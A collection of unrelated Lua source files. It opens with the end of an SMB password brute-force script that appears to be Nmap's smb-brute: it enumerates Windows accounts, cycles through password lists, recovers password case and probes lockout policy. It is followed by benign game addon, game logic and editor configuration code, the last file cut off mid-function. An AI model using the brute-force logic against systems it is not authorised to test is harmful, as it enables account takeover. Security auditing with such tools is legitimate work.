status, err = smb.start_session(smbstate, smb.get_overrides(username, domain, password, nil, logintype), false)
end
if(status == true) then
if(smbstate['is_guest'] == 1) then
result = results.GUEST_ACCESS
else
result = results.SUCCESS
end
smb.logoff(smbstate)
else
if(err == "NT_STATUS_LOGON_TYPE_NOT_GRANTED") then
result = results.NOT_GRANTED
elseif(err == "NT_STATUS_ACCOUNT_LOCKED_OUT") then
result = results.ACCOUNT_LOCKED
elseif(err == "NT_STATUS_ACCOUNT_DISABLED") then
result = results.DISABLED
elseif(err == "NT_STATUS_PASSWORD_MUST_CHANGE") then
result = results.CHANGE_PASSWORD
elseif(err == "NT_STATUS_INVALID_LOGON_HOURS") then
result = results.INVALID_LOGON_HOURS
elseif(err == "NT_STATUS_INVALID_WORKSTATION") then
result = results.INVALID_WORKSTATION
elseif(err == "NT_STATUS_ACCOUNT_EXPIRED") then
result = results.EXPIRED
else
result = results.FAIL
end
end
--io.write(string.format("Result: %s\n\n", result_strings[result]))
return result
end
---Determines whether or not a login was successful, based on what's known about the server's settings. This
-- is fairly straight forward, but has a couple little tricks.
--
--@param hostinfo The hostinfo table.
--@param result The result code.
--@return <code>true</code> if the password used for logging in was correct, <code>false</code> otherwise. Keep
-- in mind that this doesn't imply the login was successful (only results.SUCCESS indicates that), rather
-- that the password was valid.
function is_positive_result(hostinfo, result)
-- If result is a FAIL, it's always bad
if(result == results.FAIL) then
return false
end
-- If result matches what we discovered for invalid passwords, it's always bad
if(result == hostinfo['invalid_password']) then
return false
end
-- If result was ACCOUNT_LOCKED, it's always bad (locked accounts should already be taken care of, but this
-- makes the function a bit more generic)
if(result == results.ACCOUNT_LOCKED) then
return false
end
-- Otherwise, it's good
return true
end
---Determines whether or not a login was "bad". A bad login is one where an account becomes locked out.
--
--@param hostinfo The hostinfo table.
--@param result The result code.
--@return <code>true</code> if the password used for logging in was correct, <code>false</code> otherwise. Keep
-- in mind that this doesn't imply the login was successful (only results.SUCCESS indicates that), rather
-- that the password was valid.
function is_bad_result(hostinfo, result)
-- If result is LOCKED, it's always bad.
if(result == results.ACCOUNT_LOCKED or result == results.ACCOUNT_LOCKED_NOW) then
return true
end
-- Otherwise, it's good
return false
end
---Count the number of one bits in a binary representation of the given number. This is used for case-sensitive
-- checks.
--
--@param num The number to count the ones for.
--@return The number of ones in the number
local function count_ones(num)
local count = 0
while num ~= 0 do
if(bit.band(num, 1) == 1) then
count = count + 1
end
num = bit.rshift(num, 1)
end
return count
end
---Converts a string's case based on a binary number. For every '1' bit, the character is uppercased, and for every '0'
-- bit it's lowercased. For example, "test" and 8 (1000) becomes "Test", while "test" and 11 (1011) becomes "TeST".
--
--@param str The string to convert.
--@param num The binary number representing the case. This value isn't checked, so if it's too large it's truncated, and if it's
-- too small it's effectively zero-padded.
--@return The converted string.
local function convert_case(str, num)
local pos = #str
-- Don't bother with blank strings (we probably won't get here anyway, but it doesn't hurt)
if(str == "") then
return ""
end
while(num ~= 0) do
-- Check if the bit we're at is '1'
if(bit.band(num, 1) == 1) then
-- Check if we're at the beginning or end (or both) of the string -- those are special cases
if(pos == #str and pos == 1) then
str = string.upper(string.sub(str, pos, pos))
elseif(pos == #str) then
str = string.sub(str, 1, pos - 1) .. string.upper(string.sub(str, pos, pos))
elseif(pos == 1) then
str = string.upper(string.sub(str, pos, pos)) .. string.sub(str, pos + 1, #str)
else
str = string.sub(str, 1, pos - 1) .. string.upper(string.sub(str, pos, pos)) .. string.sub(str, pos + 1, #str)
end
end
num = bit.rshift(num, 1)
pos = pos - 1
end
return str
end
---Attempts to determine the case of a password. This is done by trying every possible combination of upper and lowercase
-- characters in the password, in the most efficient possible ordering, until the correct case is found.
--
-- A session has to be active when this function is called.
--
--@param hostinfo The hostinfo table.
--@param username The username.
--@param password The password (it's assumed that it's all lowercase already, but it doesn't matter)
--@return The password with the proper case, or the original password if it couldn't be determined (either the proper
-- case wasn't found or the login type is incorrect).
local function find_password_case(hostinfo, username, password)
-- Only do this if we're using lanman, otherwise we already have the proper password
if(get_type(hostinfo) ~= "lm") then
return password
end
-- Figure out how many possibilities exist
local max = math.pow(2, #password) - 1
-- Create an array of them, starting with all the values whose binary representation has no ones, then one one, then two ones, etc.
local ordered = {}
-- Cheat a bit, by adding all lower then all upper right at the start
ordered = {0, max}
-- Loop backwards from the length of the password to 0. At each spot, put all numbers that have that many '1' bits
for i = 1, #password - 1, 1 do
for j = max, 0, -1 do
if(count_ones(j) == i) then
table.insert(ordered, j)
end
end
end
-- Create the list of converted passwords
for i = 1, #ordered, 1 do
local thispassword = convert_case(password, ordered[i])
-- We specify "ntlm" for the login type because it's case sensitive
local result = check_login(hostinfo, username, thispassword, 'ntlm')
if(is_positive_result(hostinfo, result)) then
return thispassword
end
end
-- Print an error message
stdnse.debug1("ERROR: smb-brute: Was unable to determine case of %s's password", username)
-- If all else fails, just return the actual password (we probably shouldn't get here)
return password
end
---Unless the user is ok with lockouts, check the lockout policy of the host. Take the most restrictive
-- portion among the domains. Returns true if lockouts could happen, false otherwise.
local function bad_lockout_policy(host)
-- If the user is ok with locking out accounts, just return
if(stdnse.get_script_args( "smblockout" )) then
stdnse.debug1("Not checking server's lockout policy")
return true, false
end
local status, result = msrpc.get_domains(host)
if(not(status)) then
stdnse.debug1("Couldn't detect lockout policy: %s", result)
return false, "Couldn't retrieve lockout policy: " .. result
end
for domain, data in pairs(result) do
if(data and data.lockout_threshold) then
stdnse.debug1("Server's lockout policy: lock out after %d attempts", data.lockout_threshold)
return true, true
end
end
stdnse.debug1("Server has no lockout policy")
return true, false
end
---Initializes and returns the hostinfo table. This includes queuing up the username and password lists, determining
-- the server's operating system, and checking the server's response for invalid usernames/invalid passwords.
--
--@param host The host object.
local function initialize(host)
local os, result
local status, bad_lockout_policy_result
local hostinfo = {}
hostinfo['host'] = host
hostinfo['invalid_usernames'] = {}
hostinfo['locked_usernames'] = {}
hostinfo['accounts'] = {}
hostinfo['special_password'] = 1
-- Get the OS (identifying windows versions tells us which hash to use)
result, os = smb.get_os(host)
if(result == false or os['os'] == nil) then
hostinfo['os'] = "<Unknown>"
else
hostinfo['os'] = os['os']
end
stdnse.debug1("Remote operating system: %s", hostinfo['os'])
-- Check lockout policy
status, bad_lockout_policy_result = bad_lockout_policy(host)
if(not(status)) then
stdnse.debug1("WARNING: couldn't determine lockout policy: %s", bad_lockout_policy_result)
else
if(bad_lockout_policy_result) then
return false, "Account lockouts are enabled on the host. To continue (and risk lockouts), add --script-args=smblockout=1 -- for more information, run smb-enum-domains."
end
end
-- Attempt to enumerate users
stdnse.debug1("Trying to get user list from server")
local _
hostinfo['have_user_list'], _, hostinfo['user_list'] = msrpc.get_user_list(host)
hostinfo['user_list_index'] = 1
if(hostinfo['have_user_list'] and #hostinfo['user_list'] == 0) then
hostinfo['have_user_list'] = false
end
-- If the enumeration failed, try using the built-in list
if(not(hostinfo['have_user_list'])) then
stdnse.debug1("Couldn't enumerate users (normal for Windows XP and higher), using unpwdb initially")
status, hostinfo['user_list_default'] = unpwdb.usernames()
if(status == false) then
return false, "Couldn't open username file"
end
end
-- Open the password file
stdnse.debug1("Opening password list")
status, hostinfo['password_list'] = unpwdb.passwords()
if(status == false) then
return false, "Couldn't open password file"
end
-- Start the SMB session
stdnse.debug1("Starting the initial SMB session")
local err
status, err = restart_session(hostinfo)
if(status == false) then
stop_session(hostinfo)
return false, err
end
-- Some hosts will accept any username -- check for this by trying to log in with a totally random name. If the
-- server accepts it, it'll be impossible to bruteforce; if it gives us a weird result code, we have to remember
-- it.
hostinfo['invalid_username'] = check_login(hostinfo, get_random_string(8), get_random_string(8), "ntlm")
hostinfo['invalid_password'] = check_login(hostinfo, "Administrator", get_random_string(8), "ntlm")
stdnse.debug1("Server's response to invalid usernames: %s", result_short_strings[hostinfo['invalid_username']])
stdnse.debug1("Server's response to invalid passwords: %s", result_short_strings[hostinfo['invalid_password']])
-- If either of these comes back as success, there's no way to tell what's valid/invalid
if(hostinfo['invalid_username'] == results.SUCCESS) then
stop_session(hostinfo)
return false, "Invalid username was accepted; unable to bruteforce"
end
if(hostinfo['invalid_password'] == results.SUCCESS) then
stop_session(hostinfo)
return false, "Invalid password was accepted; unable to bruteforce"
end
-- Print a message to the user if we can identify passwords
if(hostinfo['invalid_username'] ~= hostinfo['invalid_password']) then
stdnse.debug1("Invalid username and password response are different, so identifying valid accounts is possible")
end
-- Print a warning message if invalid_username and invalid_password go to the same thing that isn't FAIL
if(hostinfo['invalid_username'] ~= results.FAIL and hostinfo['invalid_username'] == hostinfo['invalid_password']) then
stdnse.debug1("WARNING: Difficult to recognize invalid usernames/passwords; may not get good results")
end
-- Restart the SMB connection so we have a clean slate
stdnse.debug1("Restarting the session before the bruteforce")
status, err = restart_session(hostinfo)
if(status == false) then
stop_session(hostinfo)
return false, err
end
-- Stop the SMB session (we're going to let the scripts look after their own sessions)
stop_session(hostinfo)
-- Return the results
return true, hostinfo
end
---Retrieves the next password in the password database we're using. Will never return the empty string.
-- May also return one of the <code>special_passwords</code> constants.
--
--@param hostinfo The hostinfo table (the password list is stored there).
--@return The new password, or nil if the end of the list has been reached.
local function get_next_password(hostinfo)
local new_password
-- If we're out of special passwords, move onto actual ones
if(hostinfo['special_password'] > #special_passwords) then
-- Pick the next non-blank password from the list
repeat
new_password = hostinfo['password_list']()
until new_password ~= ''
else
-- Get the next non-blank password
new_password = special_passwords[hostinfo['special_password']]
hostinfo['special_password'] = hostinfo['special_password'] + 1
end
return new_password
end
---Reset to the first password. This is normally done when the user list changes.
--
--@param hostinfo The hostinfo table.
local function reset_password(hostinfo)
hostinfo['password_list']("reset")
end
---Retrieves the next username. This can be from the username database, or from an array stored in the
-- hostinfo table. This won't return any names that have been determined to be invalid, locked, or
-- have already had their password found.
--
--@param hostinfo The hostinfo table
--@return The next username, or nil if the end of the list has been reached.
local function get_next_username(hostinfo)
local username
repeat
if(hostinfo['have_user_list']) then
local index = hostinfo['user_list_index']
hostinfo['user_list_index'] = hostinfo['user_list_index'] + 1
username = hostinfo['user_list'][index]
if(username ~= nil) then
local _
_, username = split_domain(username)
end
else
username = hostinfo['user_list_default']()
end
-- Make the username lowercase (usernames aren't case sensitive, so making it lower case prevents duplicates)
if(username ~= nil) then
username = string.lower(username)
end
until username == nil or (hostinfo['invalid_usernames'][username] ~= true and hostinfo['locked_usernames'][username] ~= true and hostinfo['accounts'][username] == nil)
return username
end
---Reset to the first username.
--
--@param hostinfo The hostinfo table.
local function reset_username(hostinfo)
if(hostinfo['have_user_list']) then
hostinfo['user_list_index'] = 1
else
hostinfo['user_list_default']("reset")
end
end
---Do a little trick to detect account lockouts without bringing every user to the lockout threshold -- bump the lockout counter of
-- the first user ahead. If lockouts are happening, this means that the first account will trigger before the rest of the accounts.
-- A canary in the mineshaft, in a way.
--
-- The number of checks defaults to three, but it can be controlled with the <code>canary</code> argument.
--
-- Times it'll fail are when:
-- * Accounts are locked out due to the initial checks (happens if the user runs smb-brute twice in a row, the canary won't help)
-- * A valid user list isn't pulled, and we create a canary that doesn't exist (won't be as bad, though, because it means we also
-- don't have every account on the server/domain
function test_lockouts(hostinfo)
local i
local username = get_next_username(hostinfo)
-- It's possible that every username was accounted for already, so our list is empty.
if(username == nil) then
return
end
if(stdnse.get_script_args( "smblockout" )) then
return
end
while(string.lower(username) == "administrator") do
username = get_next_username(hostinfo)
if(username == nil) then
return
end
end
if(username ~= nil) then
-- Try logging in as the "canary" account
local canaries = nmap.registry.args.canaries
if(canaries == nil) then
canaries = 3
else
canaries = tonumber(canaries)
end
if(canaries > 0) then
stdnse.debug1("Detecting server lockout on '%s' with %d canaries", username, canaries)
end
local result
for i=1, canaries, 1 do
result = check_login(hostinfo, username, get_random_string(8), "ntlm")
end
-- If the account just became locked (it's already been put on the 'valid' list), we're in trouble
if(result == results.LOCKED) then
-- If the canary just became locked, we're one step from locking out every account. Loop through the usernames and invalidate them to
-- prevent them from being locked out
stdnse.debug1("Canary (%s) became locked out -- aborting", username)
-- Add it to the locked username list (so it can be reported)
hostinfo['locked_usernames'][username] = true
-- Mark all the usernames as invalid (a bit of a hack, but it's safer this way)
while(username ~= nil) do
stdnse.debug1("Marking '%s' as 'invalid'", username)
hostinfo['invalid_usernames'][username] = true
username = get_next_username(hostinfo)
end
end
end
-- Go back to the beginning of the list
reset_username(hostinfo)
end
---Attempts to validate the current list of usernames by logging in with a blank password, marking invalid ones (and ones that had
-- a blank password). Determining the validity of a username works best if invalid usernames are redirected to 'guest'.
--
-- If a username accepts the blank password, a random password is tested. If that's accepted as well, the account is marked as
-- accepting any password (the 'guest' account is normally like that).
--
-- This also checks whether the server locks out users, and raises the lockout threshold of the first user (see the
-- <code>check_lockouts</code> function for more information on that. If accounts on the system are locked out, they aren't
-- checked.
--
--@param hostinfo The hostinfo table.
--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined.
local function validate_usernames(hostinfo)
local status, err
local result
local username, password
stdnse.debug1("Checking which account names exist (based on what goes to the 'guest' account)")
-- Start a session
status, err = restart_session(hostinfo)
if(status == false) then
return false, err
end
-- Make sure we start at the beginning
reset_username(hostinfo)
username = get_next_username(hostinfo)
while(username ~= nil) do
result = check_login(hostinfo, username, "", "ntlm")
if(result ~= hostinfo['invalid_password'] and result == hostinfo['invalid_username']) then
-- If the account matches the value of 'invalid_username', but not the value of 'invalid_password', it's invalid
stdnse.debug1("Blank password for '%s' -> '%s' (invalid account)", username, result_short_strings[result])
hostinfo['invalid_usernames'][username] = true
elseif(result == hostinfo['invalid_password']) then
-- If the account matches the value of 'invalid_password', and 'invalid_password' is reliable, it's probably valid
if(hostinfo['invalid_username'] ~= results.FAIL and hostinfo['invalid_username'] == hostinfo['invalid_password']) then
stdnse.debug1("Blank password for '%s' => '%s' (can't determine validity)", username, result_short_strings[result])
else
stdnse.debug1("Blank password for '%s' => '%s' (probably valid)", username, result_short_strings[result])
end
elseif(result == results.ACCOUNT_LOCKED) then
-- If the account is locked out, don't try it
hostinfo['locked_usernames'][username] = true
stdnse.debug1("Blank password for '%s' => '%s' (locked out)", username, result_short_strings[result])
elseif(result == results.FAIL) then
-- If none of the standard options work, check if it's FAIL. If it's FAIL, there's an error somewhere (probably, the
-- 'administrator' username is changed so we're getting invalid data).
stdnse.debug1("Blank password for '%s' => '%s' (may be valid)", username, result_short_strings[result])
else
-- If none of those came up, either the password is legitimately blank, or any account works. Figure out what!
local new_result = check_login(hostinfo, username, get_random_string(14), "ntlm")
if(new_result == result) then
-- Any password works (often happens with 'guest' account)
stdnse.debug1("All passwords accepted for %s (goes to %s)", username, result_short_strings[result])
status, err = found_account(hostinfo, username, "<anything>", result)
if(status == false) then
return false, err
end
else
-- Blank password worked, but not random one
status, err = found_account(hostinfo, username, "", result)
if(status == false) then
return false, err
end
end
end
username = get_next_username(hostinfo)
end
-- Start back at the beginning of the list
reset_username(hostinfo)
-- Check for lockouts
test_lockouts(hostinfo)
-- Stop the session
stop_session(hostinfo)
return true
end
---Marks an account as discovered. The login with this account doesn't have to be successful, but <code>is_positive_result</code> should
-- return <code>true</code>.
--
-- If the result IS successful, and this hasn't been done before, this function will attempt to pull a userlist from the server.
--
-- The session should be stopped before entering this function, and restarted after -- that allows this function to make its own SMB calls.
--
--@param hostinfo The hostinfo table.
--@param username The username.
--@param password The password.
--@param result The result, as an integer constant.
--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined.
function found_account(hostinfo, username, password, result)
local status, err
-- Save the username
hostinfo['accounts'][username] = {}
hostinfo['accounts'][username]['password'] = password
hostinfo['accounts'][username]['result'] = result
-- Save the account (smb will automatically decide if it's better than the account it already has)
if(result == results.SUCCESS) then
-- Stop the connection -- this lets us do some queries
status, err = stop_session(hostinfo)
if(status == false) then
return false, err
end
-- Check if we have an 'admin' account
-- Try getting information about "IPC$". This determines whether or not the user is administrator
-- since only admins can get share info. Note that on Vista and up, unless UAC is disabled, all
-- accounts are non-admin.
local is_admin = smb.is_admin(hostinfo['host'], username, '', password, nil, nil)
-- Add the account
smb.add_account(hostinfo['host'], username, '', password, nil, nil, is_admin)
-- Check lockout policy
local status, bad_lockout_policy_result = bad_lockout_policy(hostinfo['host'])
if(not(status)) then
stdnse.debug1("WARNING: couldn't determine lockout policy: %s", bad_lockout_policy_result)
else
if(bad_lockout_policy_result) then
return false, "Account lockouts are enabled on the host. To continue (and risk lockouts), add --script-args=smblockout=1 -- for more information, run smb-enum-domains."
end
end
-- If we haven't retrieved the real user list yet, do so
if(hostinfo['have_user_list'] == false) then
-- Attempt to enumerate users
stdnse.debug1("Trying to get user list from server using newly discovered account")
local _
hostinfo['have_user_list'], _, hostinfo['user_list'] = msrpc.get_user_list(hostinfo['host'])
hostinfo['user_list_index'] = 1
if(hostinfo['have_user_list'] and #hostinfo['user_list'] == 0) then
hostinfo['have_user_list'] = false
end
-- If the list was found, let the user know and reset the password list
if(hostinfo['have_user_list']) then
stdnse.debug1("Found %d accounts to check!", #hostinfo['user_list'])
reset_password(hostinfo)
-- Validate them (pick out the ones that can't possibly log in)
validate_usernames(hostinfo)
end
end
-- Start the session again
status, err = restart_session(hostinfo)
if(status == false) then
return false, err
end
end
end
---This is the main function that does all the work (loops through the lists and checks the results).
--
--@param host The host table.
--@return (status, accounts, locked_accounts) If status is false, accounts is an error message. Otherwise, accounts
-- is a table of passwords/results, indexed by the username and locked_accounts is a table indexed by locked
-- usernames.
local function go(host)
local status, err
local result, hostinfo
local password, temp_password, username
local response = {}
-- Initialize the hostinfo object, which sets up the initial variables
result, hostinfo = initialize(host)
if(result == false) then
return false, hostinfo
end
-- If invalid accounts don't give guest, we can determine the existence of users by trying to
-- log in with an invalid password and checking the value
status, err = validate_usernames(hostinfo)
if(status == false) then
return false, err
end
-- Start up the SMB session
status, err = restart_session(hostinfo)
if(status == false) then
return false, err
end
-- Loop through the password list
temp_password = get_next_password(hostinfo)
while(temp_password ~= nil) do
-- Loop through the user list
username = get_next_username(hostinfo)
while(username ~= nil) do
-- Check if it's a special case (we do this every loop because special cases are often
-- based on the username
if(temp_password == USERNAME) then
password = username
--io.write(string.format("Trying matching username/password (%s:%s)\n", username, password))
elseif(temp_password == USERNAME_REVERSED) then
password = string.reverse(username)
--io.write(string.format("Trying reversed username/password (%s:%s)\n", username, password))
else
password = temp_password
end
--io.write(string.format("%s:%s\n", username, password))
local result = check_login(hostinfo, username, password, get_type(hostinfo))
-- Check if the username was locked out
if(is_bad_result(hostinfo, result)) then
-- Add it to the list of locked usernames
hostinfo['locked_usernames'][username] = true
-- Unless the user requested to keep going, stop the check
if(not(stdnse.get_script_args( "smblockout" ))) then
-- Mark it as found, which is technically true
status, err = found_account(hostinfo, username, nil, results.ACCOUNT_LOCKED_NOW)
if(status == false) then
return err
end
-- Let the user know that it went badly
stdnse.debug1("'%s' became locked out; stopping", username)
return true, hostinfo['accounts'], hostinfo['locked_usernames']
else
stdnse.debug1("'%s' became locked out; continuing", username)
end
end
if(is_positive_result(hostinfo, result)) then
-- Reset the connection
stdnse.debug2("Found an account; resetting connection")
status, err = restart_session(hostinfo)
if(status == false) then
return false, err
end
-- Find the case of the password, unless it's a hash
local case_password
if(not(#password == 32 or #password == 64 or #password == 65)) then
stdnse.debug1("Determining password's case (%s)", format_result(username, password))
case_password = find_password_case(hostinfo, username, password, result)
stdnse.debug1("Result: %s", format_result(username, case_password))
else
case_password = password
end
-- Take normal actions for finding an account
status, err = found_account(hostinfo, username, case_password, result)
if(status == false) then
return err
end
end
username = get_next_username(hostinfo)
end
reset_username(hostinfo)
temp_password = get_next_password(hostinfo)
end
stop_session(hostinfo)
return true, hostinfo['accounts'], hostinfo['locked_usernames']
end
--_G.TRACEBACK = TRACEBACK or {}
action = function(host)
-- TRACEBACK[coroutine.running()] = true;
local status, result
local response = {}
local username
local usernames = {}
local locked = {}
local i
local locked_result
status, result, locked_result = go(host)
if(status == false) then
return stdnse.format_output(false, result)
end
-- Put the usernames in their own table
for username in pairs(result) do
table.insert(usernames, username)
end
-- Sort the usernames alphabetically
table.sort(usernames)
-- Display the usernames
if(#usernames == 0) then
table.insert(response, "No accounts found")
else
for i=1, #usernames, 1 do
local username = usernames[i]
table.insert(response, format_result(username, result[username]['password'], result[username]['result']))
end
end
-- Make a list of locked accounts
for username in pairs(locked_result) do
table.insert(locked, username)
end
if(#locked > 0) then
-- Sort the list
table.sort(locked)
-- Display the list
table.insert(response, string.format("Locked accounts found: %s", stdnse.strjoin(", ", locked)))
end
return stdnse.format_output(true, response)
end
|
local _, private = ...
-- Libs --
local oUF = private.oUF
-- RealUI --
local RealUI = private.RealUI
local db, ndb
local CombatFader = RealUI:GetModule("CombatFader")
local MODNAME = "UnitFrames"
local UnitFrames = RealUI:NewModule(MODNAME, "AceEvent-3.0")
UnitFrames.units = {}
local units = {
"Player",
"Target",
"Focus",
"FocusTarget",
"Pet",
"TargetTarget",
}
function UnitFrames:RefreshUnits(event)
for i = 1, #units do
local unit = _G["RealUI" .. units[i] .. "Frame"]
unit.Health.colorClass = db.overlay.classColor
unit.Health:SetReversePercent(not ndb.settings.reverseUnitFrameBars)
if unit.Power then
unit.Power:UpdateReverse(ndb.settings.reverseUnitFrameBars)
end
if unit.DruidMana then
unit.DruidMana:SetReverseFill(ndb.settings.reverseUnitFrameBars)
end
unit:UpdateAllElements(event)
end
end
UnitFrames.steppoints = {
default = {0.35, 0.25},
health = {
HUNTER = {0.8, 0.2},
PALADIN = {0.4, 0.2},
WARRIOR = {0.35, 0.2},
},
power = {
MAGE = {0.7, 0.25},
WARLOCK = {0.6, 0.4},
},
}
----------------------------
------ Initialization ------
----------------------------
function UnitFrames:RefreshMod()
db = self.db.profile
ndb = RealUI.db.profile
self.layoutSize = ndb.settings.hudSize
self:RefreshUnits("RefreshMod")
end
function UnitFrames:OnInitialize()
---[[
self.db = RealUI.db:RegisterNamespace(MODNAME)
self.db:RegisterDefaults({
profile = {
misc = {
focusclick = true,
focuskey = "shift",
statusText = "smart",
alwaysDisplayFullHealth = true,
combatfade = {
enabled = true,
opacity = {
incombat = 1,
harmtarget = 0.85,
target = 0.75,
hurt = 0.6,
outofcombat = 0.25,
},
},
},
units = {
-- Eventually, these settings will be used to adjust unit frame size.
player = {
size = {x = 259, y = 28},
position = {x = 0, y = 0},
healthHeight = 0.6, --percentage of the unit height used by the healthbar
},
target = {
size = {x = 259, y = 28},
position = {x = 0, y = 0},
healthHeight = 0.6, --percentage of the unit height used by the healthbar
},
targettarget = {
size = {x = 138, y = 10},
position = {x = 0, y = 0},
},
focus = {
size = {x = 138, y = 10},
position = {x = 0, y = 0},
},
focustarget = {
size = {x = 126, y = 10},
position = {x = 0, y = 0},
},
pet = {
size = {x = 126, y = 10},
position = {x = 0, y = 0},
},
},
arena = {
enabled = true,
announceUse = true,
announceChat = "GROUP",
showCast = true,
showPets = true,
},
boss = {
gap = 3,
buffCount = 3,
debuffCount = 5,
showPlayerAuras = true,
showNPCAuras = true,
},
-- TODO: Convert to FramePoint
positions = {
[1] = {
player = { x = 0, y = 0}, -- Anchored to Positioner
pet = { x = 51, y = -84}, -- Anchored to Player
focus = { x = 29, y = -62}, -- Anchored to Player
focustarget = { x = 11, y = -2}, -- Anchored to Focus
target = { x = 0, y = 0}, -- Anchored to Positioner
targettarget = { x = -29, y = -62}, -- Anchored to Target
boss = { x = 0, y = 0}, -- Anchored to Positioner
},
[2] = {
player = { x = 0, y = 0}, -- Anchored to Positioner
pet = { x = 60, y = -91}, -- Anchored to Player
focus = { x = 36, y = -67}, -- Anchored to Player
focustarget = { x = 12, y = -2}, -- Anchored to Focus
target = { x = 0, y = 0}, -- Anchored to Positioner
targettarget = { x = -36, y = -67}, -- Anchored to Target
boss = { x = 0, y = 0}, -- Anchored to Positioner
},
},
overlay = {
bar = {
opacity = {
absorb = 0.25, -- Absorb Bar
},
},
classColor = false,
classColorNames = true,
},
},
})
db = self.db.profile
ndb = RealUI.db.profile
self.layoutSize = ndb.settings.hudSize
self:SetEnabledState(RealUI:GetModuleEnabled(MODNAME))
CombatFader:RegisterModForFade(MODNAME, "profile", "misc", "combatfade")
end
function UnitFrames:OnEnable()
-- Override the green that oUF uses
oUF.colors.health = {0.66, 0.22, 0.22}
oUF.colors.power.MANA = RealUI.ColorDesaturate(0.1, oUF.colors.power.MANA)
oUF.colors.power.MANA = RealUI.ColorShift(-0.07, oUF.colors.power.MANA)
self:InitializeLayout()
end
|
-- IMPORTANT: No table specified for a type means autodetect,
-- empty table specified for a type means no tracks for that type!
--To change the music used in each circumstance, add the file name of the track ("Earth.ogg", for example) inside the curly brackets of that circumstance (in the curly brackets of "--peace = {}," for example).
--The file (e.g. "Earth.ogg") must be in the corresponding sub folder of [InsertGameDataFolderHere]/sounds/music as the circumstance you want it to be played in ([InsertGameDataFolderHere]/sounds/music/peace for example).
local tracks = {
--war = {},
--peace = {},
--victory = {},
--briefing = {},
--defeat = {},
}
-- auto-appends directory and extension to the track names
-- can be removed if you want to specify directory yourself
for type,list in pairs(tracks) do
for i=1,#list do
list[i] = "sounds/music/"..type.."/"..list[i]..".ogg"
end
end
return tracks
|
require "behaviours/wander"
require "behaviours/chaseandattack"
require "behaviours/doaction"
require "behaviours/chattynode"
require "behaviours/panic"
local MAX_WANDER_DIST = 20
local START_RUN_DIST = 3
local STOP_RUN_DIST = 5
local MAX_CHASE_TIME = 10
local MAX_CHASE_DIST = 30
local SEE_TARGET_DIST = 20
local SEE_FOOD_DIST = 10
local RUN_AWAY_DIST = 6
local STOP_RUN_AWAY_DIST = 8
local function FindFoodAction(inst)
local target = FindEntity(inst, SEE_FOOD_DIST, function(item) return inst.components.eater:CanEat(item) end)
if target then
return BufferedAction(inst, target, ACTIONS.EAT)
end
end
local function GoHomeAction(inst)
if not inst.components.follower.leader and
inst.components.homeseeker and
inst.components.homeseeker.home and
inst.components.homeseeker.home:IsValid() then
return BufferedAction(inst, inst.components.homeseeker.home, ACTIONS.GOHOME)
end
end
local function TargetIsAggressive(inst)
local target = inst.components.combat.target
return target and
target.components.combat and
target.components.combat.defaultdamage > 0 and
target.components.combat.target == inst
end
local WerePigBrain = Class(Brain, function(self, inst)
Brain._ctor(self, inst)
end)
function WerePigBrain:OnStart()
--print(self.inst, "WerePigBrain:OnStart")
local clock = GetClock()
local root = PriorityNode(
{
WhileNode( function() return self.inst.components.health.takingfiredamage end, "OnFire", Panic(self.inst)),
WhileNode(function() return not TargetIsAggressive(self.inst) end, "SafeToEat",
DoAction(self.inst, function() return FindFoodAction(self.inst) end, "EatMeat", true)
),
ChaseAndAttack(self.inst, MAX_CHASE_TIME, MAX_CHASE_DIST),
Wander(self.inst, function() return self.inst.components.knownlocations:GetLocation("home") end, MAX_WANDER_DIST),
}, .5)
self.bt = BT(self.inst, root)
end
function WerePigBrain:OnInitializationComplete()
self.inst.components.knownlocations:RememberLocation("home", Point(self.inst.Transform:GetWorldPosition()))
end
return WerePigBrain
|
g_gen_small_win_s01_loot_deed = {
description = "Small Generic House Style 1 (Windowed) Blueprint",
minimumLevel = 0,
maximumLevel = 0,
lootItems = {
{itemTemplate = "gen_small_win_s01_loot_deed", weight = 10000000}
}
}
addLootGroupTemplate("g_gen_small_win_s01_loot_deed", g_gen_small_win_s01_loot_deed)
|
local status_ok, fidget = pcall(require, "fidget")
if not status_ok then
return
end
fidget.setup({
text = {
spinner = "dots",
},
})
|
local array = include( "modules/array" )
local util = include( "modules/util" )
local cdefs = include( "client_defs" )
local simdefs = include("sim/simdefs")
local simquery = include("sim/simquery")
local abilityutil = include( "sim/abilities/abilityutil" )
local deployable =
{
name = STRINGS.ABILITIES.DEPLOYABLE,
createToolTip = function( self, sim, unit )
return abilityutil.formatToolTip(STRINGS.ABILITIES.DEPLOYABLE, STRINGS.ABILITIES.DEPLOYABLE_DESC, 0)
end,
profile_icon = "gui/icons/action_icons/Action_icon_Small/icon-item_hijack_small.png",
alwaysShow = true,
getName = function( self, sim, unit, userUnit )
return STRINGS.ABILITIES.DEPLOY
end,
canUseAbility = function( self, sim, abilityOwner, abilityUser )
if abilityOwner == abilityUser then
return false
end
local cell = sim:getCell(abilityUser:getLocation() )
if abilityOwner:getTraits().cooldown and abilityOwner:getTraits().cooldown > 0 then
return false, util.sformat(STRINGS.UI.REASON.COOLDOWN,abilityOwner:getTraits().cooldown)
end
if abilityOwner:getTraits().usesCharges and abilityOwner:getTraits().charges < 1 then
return false, util.sformat(STRINGS.UI.REASON.CHARGES)
end
if cell then
for i,unit in ipairs(cell.units) do
if unit:hasAbility("deployable") and unit:getTraits().deployed then
return false, STRINGS.UI.REASON.ALREADY_DEPLOYED
end
end
end
if array.find( abilityUser:getChildren(), abilityOwner ) == nil then
return false, STRINGS.UI.REASON.NOT_CARRIED
end
return abilityutil.checkRequirements( abilityOwner, abilityUser )
end,
executeAbility = function( self, sim, abilityOwner, abilityUser )
local cell = sim:getCell( abilityUser:getLocation() )
assert( cell )
assert( not abilityOwner:getTraits().equipped )
abilityUser:removeChild( abilityOwner )
-- Deployed items are owned by the user unit's player
abilityOwner:setPlayerOwner( abilityUser:getPlayerOwner() )
abilityOwner:getTraits().deployed = true
local facing = simquery.getReverseDirection(abilityUser:getFacing() )
if facing % 2 ~= 0 then
facing = simquery.addFacing(facing, 1)
end
sim:emitSound( simdefs.SOUND_ITEM_PUTDOWN, cell.x, cell.y, abilityUser )
sim:dispatchEvent( simdefs.EV_UNIT_PICKUP, { unitID = abilityUser:getID(), facing=simquery.getReverseDirection(facing) } )
abilityOwner:setFacing( facing )
sim:warpUnit( abilityOwner, cell )
sim:dispatchEvent(simdefs.EV_UNIT_DEPLOY, {unit=abilityOwner, x=cell.x,y=cell.y})
